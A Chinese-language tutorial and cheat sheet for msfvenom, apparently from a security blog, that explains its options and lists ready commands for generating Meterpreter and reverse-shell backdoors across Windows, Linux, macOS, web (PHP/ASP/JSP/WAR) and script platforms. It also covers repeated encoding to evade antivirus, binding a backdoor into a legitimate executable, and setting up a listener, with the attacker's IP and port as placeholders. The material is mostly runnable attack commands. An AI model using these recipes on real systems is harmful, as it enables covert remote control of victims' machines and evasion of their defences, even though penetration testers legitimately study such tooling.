君子藏器于身待时而动,安全不露圭角覆盂之安。
——AnonySec
简介
Msfvenom 在 2015 年 6 月 8 日已经替代了 msfpayload 与 msfenocde 命令,它是这两个命令的结合体。
参数详解
为了开始使用 msfvenom,可以首先浏览一下它所支持的命令参数:
-l
查看所有payload。
-p
添加载荷payload。
载荷这个东西比较多,这个软件就是根据对应的载荷payload生成对应平台下的后门,所以只有选对payload,再填写正确自己的IP,PORT就可以生成对应语言,对应平台的后门了。
(- -payload-options 列出payload选项)
-f
输出文件格式。
(- -help-formats 列出所有文件格式)
可执行格式:
asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war
转换格式:
bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript
-e
编码免杀。
-a
选择架构平台
x86 | x64 | x86_64
Platforms:
windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe。
-o
文件输出。
-n
为payload指定一个 nopsled 长度 。
-b
避免使用的字符 例如:不使用 ‘\0f’。
-s
生成payload的最大长度,就是文件大小。
-i
编码次数。
-c
添加自己的shellcode。
-x | -k
捆绑。例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。
如何生成 Payload
为了生成 Payload,需要配置两个必要的参数(-p 与 -f)。
典型生成
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port> -f exe > shell.exe |
编码处理型
-i 参数来将一个 payload 编码多次,有时候多次编码可以绕过防病毒软件的检测(俗称免杀),但要知道的是:编码并不能真正作为免杀的解决方案。
-e选项来开启 payload 编码功能。
1 | msfvenom –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai LHOST=<Your IP Address> LPORT=<Your Port> –f exe –o C:\back.exe |
捆绑
1 | msfvenom –p windows/meterpreter/reverse_tcp –platform windows –a x86 –x C:\nomal.exe –k |
输出串联
如何将 msfvenom 的输出串联起来(利用操作系统管道的重定向特性)。
以前旧的 msfpayload
与 msfencode
经常串联使用,并按照多种编码顺序排列。msfvenom
也可以被这样使用:
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port> -f raw -e x86/shikata_ga_nai -i 5 | \ |
系统
Linux
1 | msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port> -f elf > shell.elf |
Windows
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port> -f exe > shell.exe |
Mac
1 | msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port> -f macho > shell.macho |
Web
PHP
1 | msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port> -f raw > shell.php |
ASP
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port> -f asp > shell.asp |
JSP
1 | msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port> -f raw > shell.jsp |
WAR
1 | msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port> -f war > shell.war |
脚本
Python
1 | msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port> -f raw > shell.py |
Bash
1 | msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port> -f raw > shell.sh |
Perl
1 | msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port> -f raw > shell.pl |
Shellcode
有关所有shellcode,请参阅msfvenom -help-formats
以获取有关有效参数的信息。
基于Linux的Shellcode
1 | msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port> -f <language> |
基于Windows的Shellcode
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port> -f <language> |
基于Mac的Shellcode
1 | msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port> -f <language> |
监听
1 | msf5 > use exploit/multi/handler |